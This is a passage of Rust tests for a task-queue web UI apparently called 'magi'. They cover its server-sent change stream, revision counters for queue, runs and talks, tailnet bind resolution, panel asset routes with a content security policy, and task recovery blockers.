22939        // done-by-construction (e.g. "merged") - picking "Active" afterward
22940        // must drop it the same way an incompatible tree section is already
22941        // dropped, or the Runs list renders permanently empty with no way
22942        // for the operator to tell why.
22943        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22944        assert!(
22945            APP_JS.contains(
22946                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22947            ),
22948            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22949             guard for an incompatible tree section"
22950        );
22951    }
22952
22953    #[test]
22954    fn every_stats_queue_tile_names_a_real_queue_section() {
22955        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22956        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22957        // (consumeQueueSectionFocus finds no matching <details> and drops
22958        // the focus) rather than fail loudly, so pin every key against the
22959        // section list it has to resolve against.
22960        assert!(
22961            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22962            "every queue tile built through sectionTile() must route its click through \
22963             openQueueSectionFocus"
22964        );
22965        for key in ["upnext", "running", "done", "held", "blocked"] {
22966            assert!(
22967                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22968                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22969            );
22970        }
22971        // Queued and Failed intentionally both resolve to "upnext" - the
22972        // same section queueSection() itself files them under - rather than
22973        // getting a section each.
22974        for line in [
22975            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22976            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22977            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22978            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22979            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22980            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22981        ] {
22982            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22983        }
22984    }
22985
22986    #[test]
22987    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22988        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22989        // above for the section-focus channel a stats queue tile drives:
22990        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22991        // through the stale-search-clear recursion into renderQueue(), and
22992        // clear it only once revealQueueSection() is actually about to run -
22993        // the same trap that once silently dropped a task-focus jump.
22994        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22995        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22996        assert!(APP_JS.contains("function revealQueueSection(details)"));
22997        assert!(
22998            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22999            "renderQueue() must consume both focus channels on every pass"
23000        );
23001        assert!(
23002            APP_JS.contains(
23003                "  if (revealQueueSectionFilters(key)) {\n    renderQueue();\n    return;\n  }"
23004            ),
23005            "the filter-revealing branch must run before state.queueSectionFocus is cleared, or \
23006             the recursive renderQueue() call has nothing left to reveal"
23007        );
23008        assert!(
23009            APP_JS.contains(
23010                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
23011            ),
23012            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
23013        );
23014        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
23015        // task-focus form of the hash - a plain `#queue` navigation only
23016        // flips which view is visible. openQueueSectionFocus() must
23017        // therefore call renderQueue() itself, and applyRoute() too so the
23018        // view flips even when the hash doesn't change (the Backlog may
23019        // already be open when a tile is tapped, firing no hashchange
23020        // event at all).
23021        assert!(
23022            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
23023            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
23024             hashchange event that may never fire"
23025        );
23026    }
23027
23028    #[tokio::test]
23029    async fn the_change_stream_announces_the_current_revisions_on_connect() {
23030        let f = Fixture::start().await;
23031
23032        let mut socket = tokio::net::TcpStream::connect(f.addr)
23033            .await
23034            .expect("connect");
23035        socket
23036            .write_all(
23037                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
23038            )
23039            .await
23040            .expect("write request");
23041
23042        // Read until the first event arrives rather than to end of stream: the
23043        // stream is endless by design, which is the point of the route.
23044        let mut seen = String::new();
23045        let mut buf = [0u8; 1024];
23046        while !seen.contains("event: change") {
23047            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
23048                .await
23049                .expect("the stream must speak within five seconds")
23050                .expect("read");
23051            assert!(read > 0, "the server closed the change stream: {seen}");
23052            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
23053        }
23054
23055        assert!(
23056            seen.to_lowercase()
23057                .contains("content-type: text/event-stream"),
23058            "the browser only reconnects automatically for a real SSE stream: {seen}"
23059        );
23060        let data = seen
23061            .lines()
23062            .find_map(|l| l.strip_prefix("data:"))
23063            .expect("a data line");
23064        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
23065        assert!(
23066            payload["queue_rev"].is_u64()
23067                && payload["runs_rev"].is_u64()
23068                && payload["questions_rev"].is_u64()
23069                && payload["talks_rev"].is_u64()
23070                && payload["notifications_rev"].is_u64()
23071                && payload["loop_rev"].is_u64(),
23072            "the client needs one revision per store to know what to refetch, \
23073             and `talks_rev` is the only notification a standing talk gets - a \
23074             phone whose radio slept through a turn learns about it here, as \
23075             does one whose operator started the loop from another device: \
23076             {payload}"
23077        );
23078
23079        // The front end re-polls health on a timer and on wake, and takes the
23080        // revisions from that answer whenever the stream is not up. So health
23081        // has to carry every key the stream carries: a phone on a link that
23082        // will not hold an SSE connection is exactly the phone that must still
23083        // notice a question, and a missing key there is not a 500 but a UI
23084        // that quietly stops updating.
23085        let health = f.get("/api/health").await.json();
23086        for key in [
23087            "queue_rev",
23088            "runs_rev",
23089            "questions_rev",
23090            "talks_rev",
23091            "notifications_rev",
23092            "loop_rev",
23093        ] {
23094            assert!(
23095                health[key].is_u64(),
23096                "health is the change stream's fallback and is missing `{key}`: {health}"
23097            );
23098        }
23099    }
23100
23101    #[tokio::test]
23102    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
23103        let home = TempDir::new().expect("temp home");
23104        let ui = delta_test_ui(home.path());
23105        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
23106        // Establish the existing conversation's baseline before appending.
23107        // Wait on the stream's shared notification rather than repeatedly
23108        // rebuilding health (config, process and disk observations included).
23109        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
23110        let mut changes = ui.monitor.broadcaster.subscribe();
23111        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
23112        on_disk.turns.push(crate::talk::Turn {
23113            sender: None,
23114            breaks: Some(Vec::new()),
23115            messages: Vec::new(),
23116            posted_by: None,
23117            who: crate::talk::Who::Operator,
23118            body: "a new turn".to_owned(),
23119            at: Timestamp::now(),
23120            attachments: Vec::new(),
23121            usage: None,
23122        });
23123        ui.talks.put(&mut on_disk).expect("record a turn");
23124
23125        let after = tokio::time::timeout(Duration::from_secs(5), async {
23126            loop {
23127                let change = changes.recv().await.expect("monitor notification");
23128                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
23129                if revision != before {
23130                    assert_eq!(
23131                        change.payload["talks_delta"]["changed"],
23132                        serde_json::json!([talk])
23133                    );
23134                    break revision;
23135                }
23136            }
23137        })
23138        .await
23139        .expect("shared monitor observes external turn");
23140        assert_ne!(
23141            before, after,
23142            "a phone must be able to notice a talk's reply without polling every store"
23143        );
23144        let Json(observed) = health(State(ui)).await.expect("health");
23145        assert_eq!(
23146            observed.talks_rev, after,
23147            "health exposes the same revision"
23148        );
23149    }
23150
23151    #[test]
23152    fn bind_reads_back_from_the_spelling_the_cli_prints() {
23153        // The CLI shows the default in `--help` and parses whatever comes
23154        // back, so the two directions have to agree or `--bind auto` breaks
23155        // the moment someone copies the help text.
23156        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
23157            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
23158        }
23159        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
23160        assert!("everywhere".parse::<Bind>().is_err());
23161    }
23162
23163    #[test]
23164    fn an_explicit_bind_address_is_taken_verbatim() {
23165        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
23166
23167        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
23168
23169        assert_eq!(addr, asked);
23170        assert!(
23171            warning.is_none(),
23172            "an operator who named an address gets no lecture"
23173        );
23174    }
23175
23176    #[test]
23177    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
23178        let (addr, warning) = resolve_bind(&Bind::Auto);
23179
23180        // This has to hold on a CI runner with no `tailscale` and on a dev box
23181        // with one, so the invariant asserted is the one shared by both
23182        // outcomes: the address is either a real tailnet address offered
23183        // without comment, or loopback with an explanation. What must never
23184        // happen is a silent fallback - an operator told "listening on
23185        // 127.0.0.1" with no reason would go looking for a firewall.
23186        match addr {
23187            IpAddr::V4(ip) if is_tailnet(&ip) => {
23188                assert!(warning.is_none(), "a tailnet address needs no warning");
23189            }
23190            other => {
23191                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
23192                let warning = warning.expect("a fallback has to explain itself");
23193                assert!(
23194                    warning.contains("127.0.0.1") && warning.contains("local-only"),
23195                    "the warning says what happened and what it costs: {warning}"
23196                );
23197            }
23198        }
23199    }
23200
23201    #[test]
23202    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
23203        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
23204        // boundary cases are what stop us binding to some other tool's idea of
23205        // an address.
23206        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
23207        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
23208        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
23209        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
23210        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
23211    }
23212
23213    #[test]
23214    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
23215        let ids = vec![
23216            "20260902-140501-aaaa".to_owned(),
23217            "20260902-140502-aabb".to_owned(),
23218        ];
23219
23220        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
23221        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
23222        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
23223
23224        assert_eq!(missing.status, StatusCode::NOT_FOUND);
23225        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
23226        assert_eq!(short, "20260902-140502-aabb");
23227    }
23228    #[tokio::test]
23229    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
23230        // The prompt tells agents to reference attachments by bare filename.
23231        // A document served at `.../panel` resolves `shot.png` against its own
23232        // directory, i.e. `.../shot.png`, which is not the asset route - so a
23233        // panel written exactly as instructed showed broken images. Caught by
23234        // looking at a real one in a browser, not by reading the code.
23235        let fx = Fixture::start().await;
23236        let id = panel(
23237            &fx,
23238            "<img src=\"shot.png\">",
23239            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
23240        );
23241
23242        // The frame's own URL ends in a filename, so its siblings are reachable.
23243        let doc = fx
23244            .get(&format!("/api/questions/{id}/panel/index.html"))
23245            .await;
23246        assert_eq!(doc.status, 200, "{}", doc.body);
23247        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
23248
23249        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
23250        assert_eq!(sibling.status, 200, "{}", sibling.body);
23251        assert_eq!(sibling.header("content-type"), Some("image/png"));
23252        assert_eq!(
23253            sibling.header("content-security-policy"),
23254            Some(PANEL_CSP),
23255            "the sibling route must carry the same policy as the asset route"
23256        );
23257
23258        // The original spelling keeps working: HEAD on it is how the front end
23259        // decides whether to mount a frame at all.
23260        assert_eq!(
23261            fx.head(&format!("/api/questions/{id}/panel")).await.status,
23262            200
23263        );
23264    }
23265
23266    #[test]
23267    fn delta_stamps_cover_add_update_remove_and_noop() {
23268        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
23269        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
23270        let delta = diff_stamps(&before, &after, 42);
23271        assert_eq!(delta.base, 42);
23272        assert_eq!(delta.changed, ["b", "c"]);
23273        assert_eq!(delta.removed, ["a"]);
23274        let same = diff_stamps(&after, &after, 43);
23275        assert!(same.changed.is_empty() && same.removed.is_empty());
23276        assert_ne!(stamps_revision(&before), stamps_revision(&after));
23277        let nanos: Stamps = [("b".into(), (2, 20))].into();
23278        let same_ms: Stamps = [("b".into(), (3, 20))].into();
23279        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
23280        assert_eq!(stamps_revision(&Stamps::new()), 0);
23281    }
23282
23283    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
23284        std::fs::create_dir_all(home.join("runs")).unwrap();
23285        Arc::new(
23286            Ui::new(
23287                Queue::at(home.join("queue")),
23288                Questions::at(home.join("questions")),
23289                Talks::at(home.join("talks")),
23290                home.join("runs"),
23291                home.to_owned(),
23292                PathBuf::from("/repo/magi"),
23293            )
23294            .with_worktrees_root(home.join("wt")),
23295        )
23296    }
23297
23298    #[test]
23299    fn monitor_scan_isolates_store_failures_and_recovers() {
23300        let home = TempDir::new().unwrap();
23301        let ui = delta_test_ui(home.path());
23302        std::fs::create_dir_all(ui.questions.root()).unwrap();
23303        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
23304        let before = monitor_scan(&ui, None);
23305        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
23306        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23307        std::fs::create_dir_all(ui.talks.root()).unwrap();
23308        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
23309        let during = monitor_scan(&ui, Some(before.clone()));
23310        assert_eq!(during.0.2, before.0.2);
23311        assert_ne!(during.0.3, before.0.3);
23312        assert!(during.1[2].contains_key("new"));
23313        std::fs::remove_file(ui.questions.root()).unwrap();
23314        let after = monitor_scan(&ui, Some(during));
23315        assert_eq!(after.0.2, 0);
23316        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
23317        // A failed first scan also permits healthy stores to publish.
23318        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23319        assert_ne!(monitor_scan(&ui, None).0.3, after.0.3);
23320    }
23321
23322    #[test]
23323    fn chat_status_cached_inventory_invalidates_on_store_failure_and_recovery() {
23324        let home = TempDir::new().unwrap();
23325        let ui = delta_test_ui(home.path());
23326        let root = ui.queue.root();
23327        std::fs::create_dir_all(root).unwrap();
23328        let before = monitor_scan(&ui, None);
23329        *ui.monitor.latest.lock().unwrap() = Some(before.clone());
23330        let status = || {
23331            chat_inventory(&ui)
23332                .status_of("chat", true, crate::chat_status::Goals::default(), false)
23333                .kind
23334        };
23335        assert_eq!(status(), crate::chat_status::Kind::Idle);
23336        std::fs::remove_dir(root).unwrap();
23337        std::fs::write(root, "not a directory").unwrap();
23338        let failed = monitor_scan(&ui, Some(before.clone()));
23339        assert_ne!(failed.0.3, before.0.3);
23340        *ui.monitor.latest.lock().unwrap() = Some(failed.clone());
23341        assert_eq!(status(), crate::chat_status::Kind::Unknown);
23342        std::fs::remove_file(root).unwrap();
23343        std::fs::create_dir(root).unwrap();
23344        let recovered = monitor_scan(&ui, Some(failed));
23345        *ui.monitor.latest.lock().unwrap() = Some(recovered);
23346        assert_eq!(status(), crate::chat_status::Kind::Idle);
23347    }
23348
23349    #[tokio::test]
23350    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
23351        let home = TempDir::new().unwrap();
23352        let ui = delta_test_ui(home.path());
23353        let mut task = Task::new(
23354            "stream task".into(),
23355            "text".into(),
23356            PathBuf::from("/repo"),
23357            Source::Human,
23358        );
23359        ui.queue.put(&mut task).unwrap();
23360        let response = events(State(ui.clone())).await.into_response();
23361        let mut stream = response.into_body().into_data_stream();
23362        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
23363            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
23364                .await
23365                .unwrap()
23366                .unwrap()
23367                .unwrap();
23368            let text = String::from_utf8(chunk.to_vec()).unwrap();
23369            let data = text
23370                .lines()
23371                .find_map(|line| {
23372                    line.strip_prefix("data: ")
23373                        .or_else(|| line.strip_prefix("data:"))
23374                })
23375                .unwrap();
23376            serde_json::from_str(data).unwrap()
23377        }
23378        let initial = change(&mut stream).await;
23379        assert!(initial.get("queue_delta").is_none());
23380        task.instruction.push_str(" changed");
23381        ui.queue.put(&mut task).unwrap();
23382        let updated = change(&mut stream).await;
23383        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
23384        assert_eq!(
23385            updated["queue_delta"]["changed"],
23386            serde_json::json!([task.id])
23387        );
23388        assert_eq!(
23389            updated["queue_rev"].as_u64(),
23390            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
23391        );
23392        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23393        let removed = change(&mut stream).await;
23394        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
23395        assert_eq!(
23396            removed["queue_delta"]["removed"],
23397            serde_json::json!([task.id])
23398        );
23399    }
23400
23401    #[tokio::test]
23402    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
23403        let home = TempDir::new().unwrap();
23404        let ui = delta_test_ui(home.path());
23405        let queue = ui.queue.clone();
23406        let query = |ids: Option<&str>| {
23407            Query(ListQuery {
23408                limit: Some(2),
23409                ids: ids.map(str::to_owned),
23410            })
23411        };
23412        let mut root = Task::new(
23413            "root".into(),
23414            "instruction".into(),
23415            PathBuf::from("/repo"),
23416            Source::Human,
23417        );
23418        queue.put(&mut root).unwrap();
23419        let mut blocked = Task::new(
23420            "blocked".into(),
23421            "instruction".into(),
23422            PathBuf::from("/repo"),
23423            Source::Human,
23424        );
23425        blocked.block(vec![root.id.clone()], None);
23426        queue.put(&mut blocked).unwrap();
23427        let whole =
23428            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
23429                .unwrap();
23430        let subset = serde_json::to_value(
23431            queue_list(State(ui.clone()), query(Some(&root.id)))
23432                .await
23433                .unwrap()
23434                .0,
23435        )
23436        .unwrap();
23437        assert_eq!(whole, subset, "requested root plus its blocked dependent");
23438        let blockers = serde_json::to_value(
23439            queue_list(State(ui.clone()), query(Some("")))
23440                .await
23441                .unwrap()
23442                .0,
23443        )
23444        .unwrap();
23445        assert_eq!(blockers.as_array().unwrap().len(), 1);
23446        assert_eq!(blockers[0]["id"], blocked.id);
23447        assert_eq!(
23448            blockers[0]["waits_on"],
23449            whole
23450                .as_array()
23451                .unwrap()
23452                .iter()
23453                .find(|row| row["id"] == blocked.id)
23454                .unwrap()["waits_on"]
23455        );
23456
23457        for id in [
23458            "20260902-140501-aaaa",
23459            "20260902-140502-bbbb",
23460            "20260902-140503-cccc",
23461        ] {
23462            write_run(&ui.runs, id, RunStatus::Merged);
23463        }
23464        let old = serde_json::to_value(
23465            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23466                .await
23467                .unwrap()
23468                .0,
23469        )
23470        .unwrap();
23471        assert!(
23472            old.as_array().unwrap().is_empty(),
23473            "older updates must not enter the window"
23474        );
23475        let newest = serde_json::to_value(
23476            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23477                .await
23478                .unwrap()
23479                .0,
23480        )
23481        .unwrap();
23482        assert_eq!(newest.as_array().unwrap().len(), 1);
23483        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23484
23485        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23486        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23487        let talks = serde_json::to_value(
23488            talks_list(
23489                State(ui.clone()),
23490                query(Some("20260905-000000-d4e5")),
23491                header::HeaderMap::new(),
23492            )
23493            .await
23494            .unwrap()
23495            .0,
23496        )
23497        .unwrap();
23498        assert_eq!(talks.as_array().unwrap().len(), 1);
23499        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23500        assert_eq!(
23501            serde_json::to_value(
23502                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23503                    .await
23504                    .unwrap()
23505                    .0
23506            )
23507            .unwrap(),
23508            serde_json::json!([])
23509        );
23510    }
23511
23512    #[tokio::test]
23513    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23514    async fn delta_payload_benchmark() {
23515        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23516        let ui = delta_test_ui(&home);
23517        let query = |ids: Option<String>| {
23518            Query(ListQuery {
23519                limit: Some(50),
23520                ids,
23521            })
23522        };
23523        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23524        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23525        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23526            .await
23527            .unwrap()
23528            .0;
23529        let queue_id = queue
23530            .iter()
23531            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23532            .unwrap_or(&queue[0])
23533            .task
23534            .id
23535            .clone();
23536        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23537            .await
23538            .unwrap()
23539            .0;
23540        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23541            .await
23542            .unwrap()
23543            .0;
23544        let talks_delta = talks_list(
23545            State(ui.clone()),
23546            query(Some(talks[0].id.clone())),
23547            header::HeaderMap::new(),
23548        )
23549        .await
23550        .unwrap()
23551        .0;
23552        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23553        eprintln!(
23554            "DELTA_PAYLOAD {}",
23555            serde_json::json!({
23556                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23557                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23558                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23559                "counts": [queue.len(), runs.len(), talks.len()],
23560                "blocked": queue_delta.len() - 1,
23561            })
23562        );
23563    }
23564
23565    #[test]
23566    fn runs_revision_moves_when_deleting_an_older_run() {
23567        let temp = TempDir::new().expect("tempdir");
23568        let runs = temp.path().join("runs");
23569        std::fs::create_dir_all(&runs).expect("create runs dir");
23570
23571        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23572
23573        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23574        std::thread::sleep(Duration::from_millis(10));
23575        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23576
23577        let rev_before = runs_revision(&runs);
23578        assert!(rev_before > 0);
23579
23580        let old_dir = runs.join("20260901-100000-old1");
23581        std::fs::remove_dir_all(&old_dir).expect("remove old run");
23582
23583        let rev_after = runs_revision(&runs);
23584        assert_ne!(
23585            rev_before, rev_after,
23586            "deleting an older run must change the revision so other clients see the deletion"
23587        );
23588    }
23589
23590    /// A run's own `run.json` on an explicit `runs` root, bypassing the
23591    /// process-global home entirely — `RunState::save` writes through
23592    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
23593    /// (see `tests::home_lock` in the integration suite for why).
23594    fn write_state(runs: &FsPath, state: &RunState) {
23595        let dir = runs.join(&state.id);
23596        std::fs::create_dir_all(&dir).expect("run dir");
23597        std::fs::write(
23598            dir.join("run.json"),
23599            serde_json::to_string_pretty(state).expect("serialize run"),
23600        )
23601        .expect("write run.json");
23602    }
23603
23604    /// A seat starting or finishing is a write to `run.json` like any other,
23605    /// so it moves the same revision the change stream already watches —
23606    /// nothing new for `/api/events` to learn, but the property this feature
23607    /// depends on to reach the phone without a poll.
23608    #[test]
23609    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23610        let temp = TempDir::new().expect("tempdir");
23611        let runs = temp.path().join("runs");
23612        std::fs::create_dir_all(&runs).expect("create runs dir");
23613        let mut state = RunState::new(
23614            PathBuf::from("/repo/magi"),
23615            "main".to_owned(),
23616            "0123456789abcdef".to_owned(),
23617            "task".to_owned(),
23618            Config::default(),
23619        );
23620        state.id = "20260902-100000-c0de".to_owned();
23621        write_state(&runs, &state);
23622
23623        let rev_idle = runs_revision(&runs);
23624        std::thread::sleep(Duration::from_millis(10));
23625        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23626        write_state(&runs, &state);
23627        let rev_started = runs_revision(&runs);
23628        assert_ne!(
23629            rev_idle, rev_started,
23630            "a seat starting must move the revision"
23631        );
23632
23633        std::thread::sleep(Duration::from_millis(10));
23634        state.seat_finished("judge-1");
23635        write_state(&runs, &state);
23636        let rev_finished = runs_revision(&runs);
23637        assert_ne!(
23638            rev_started, rev_finished,
23639            "and clearing it again must move the revision a second time"
23640        );
23641    }
23642
23643    #[tokio::test]
23644    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23645        // `TaskView` flattens `Task`, so this is really asserting that
23646        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23647        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23648        // never touched web.rs, so nothing here caught it if it had.
23649        let fx = Fixture::start().await;
23650        let q = fx.queue();
23651
23652        let mut t = Task::new(
23653            "Task".to_owned(),
23654            "Instruction".to_owned(),
23655            PathBuf::from("/repo"),
23656            Source::Human,
23657        );
23658        t.block(
23659            vec!["20260101-000000-dead".to_owned()],
23660            Some("waiting on Task 1".to_owned()),
23661        );
23662        t.answers.push(crate::queue::AnsweredQuestion {
23663            question: "Which backend?".to_owned(),
23664            answer: "SQLite".to_owned(),
23665        });
23666        q.put(&mut t).expect("put t");
23667
23668        let res = fx.get("/api/queue").await;
23669        assert_eq!(res.status, 200);
23670        let list = res.json();
23671        let view = list
23672            .as_array()
23673            .expect("array")
23674            .iter()
23675            .find(|v| v["id"] == t.id)
23676            .expect("task in list");
23677        assert_eq!(view["status_str"], "blocked");
23678        assert_eq!(
23679            view["blocked_by"],
23680            serde_json::json!(["20260101-000000-dead"])
23681        );
23682        assert_eq!(view["block_reason"], "waiting on Task 1");
23683        assert_eq!(view["answers"][0]["question"], "Which backend?");
23684        assert_eq!(view["answers"][0]["answer"], "SQLite");
23685
23686        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23687        // but never `answers` - that is a settled decision, not state
23688        // describing the current block, so it survives.
23689        let res = fx
23690            .post(&format!("/api/queue/{}/hold", t.short()), None)
23691            .await;
23692        assert_eq!(res.status, 200);
23693        let held = res.json();
23694        assert_eq!(held["status_str"], "held");
23695        assert_eq!(held["blocked_by"], serde_json::json!([]));
23696        assert!(held["block_reason"].is_null());
23697        assert_eq!(held["answers"][0]["answer"], "SQLite");
23698    }
23699
23700    #[tokio::test]
23701    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23702        let fx = Fixture::start().await;
23703        let queue = fx.queue();
23704        let questions = fx.questions();
23705        let mut task = Task::new(
23706            "Disk recovery".into(),
23707            "Inspect".into(),
23708            PathBuf::from("/repo"),
23709            Source::Human,
23710        );
23711        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23712        task.mark_disk_capacity();
23713        queue.put(&mut task).unwrap();
23714        let mut records = Vec::new();
23715        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23716            let mut q = Question::new(
23717                task.id.clone(),
23718                node.into(),
23719                "triage".into(),
23720                "Resume recovery?".into(),
23721                String::new(),
23722                vec![],
23723            );
23724            q.routed_task = Some(task.id.clone());
23725            questions.put(&mut q).unwrap();
23726            records.push(q);
23727        }
23728        let url = format!("/api/queue/{}", task.id);
23729        let view = fx.get(&url).await.json();
23730        assert_eq!(view["status_str"], "held");
23731        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23732        assert!(
23733            view["recovery"]
23734                .as_str()
23735                .unwrap()
23736                .contains("Disk recovery alone will not resume")
23737        );
23738        assert!(
23739            view["recovery"]
23740                .as_str()
23741                .unwrap()
23742                .contains("Disk wait (automatically monitored)")
23743        );
23744        for blocker in view["blockers"].as_array().unwrap() {
23745            assert!(blocker["destination"].is_null());
23746            assert!(
23747                blocker["next"]
23748                    .as_str()
23749                    .unwrap()
23750                    .contains("pending delivery")
23751            );
23752        }
23753        for q in &mut records {
23754            q.routed_chat = Some("owning-chat".into());
23755            questions.put(q).unwrap();
23756        }
23757        let view = fx.get(&url).await.json();
23758        for blocker in view["blockers"].as_array().unwrap() {
23759            assert_eq!(
23760                blocker["destination"],
23761                serde_json::json!(["chat", "owning-chat"])
23762            );
23763            assert_eq!(blocker["resolves_itself"], false);
23764        }
23765        // Answered routed decisions can still be awaiting task-chat application.
23766        for q in &mut records {
23767            q.status = ask::QuestionStatus::Answered;
23768            questions.put(q).unwrap();
23769        }
23770        assert!(crate::triage::pending_for(&questions, &task));
23771        let view = fx.get(&url).await.json();
23772        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23773        assert!(
23774            view["blockers"][0]["next"]
23775                .as_str()
23776                .unwrap()
23777                .contains("not yet applied")
23778        );
23779        for q in &records {
23780            task.mark_triage_applied(&q.id);
23781        }
23782        queue.put(&mut task).unwrap();
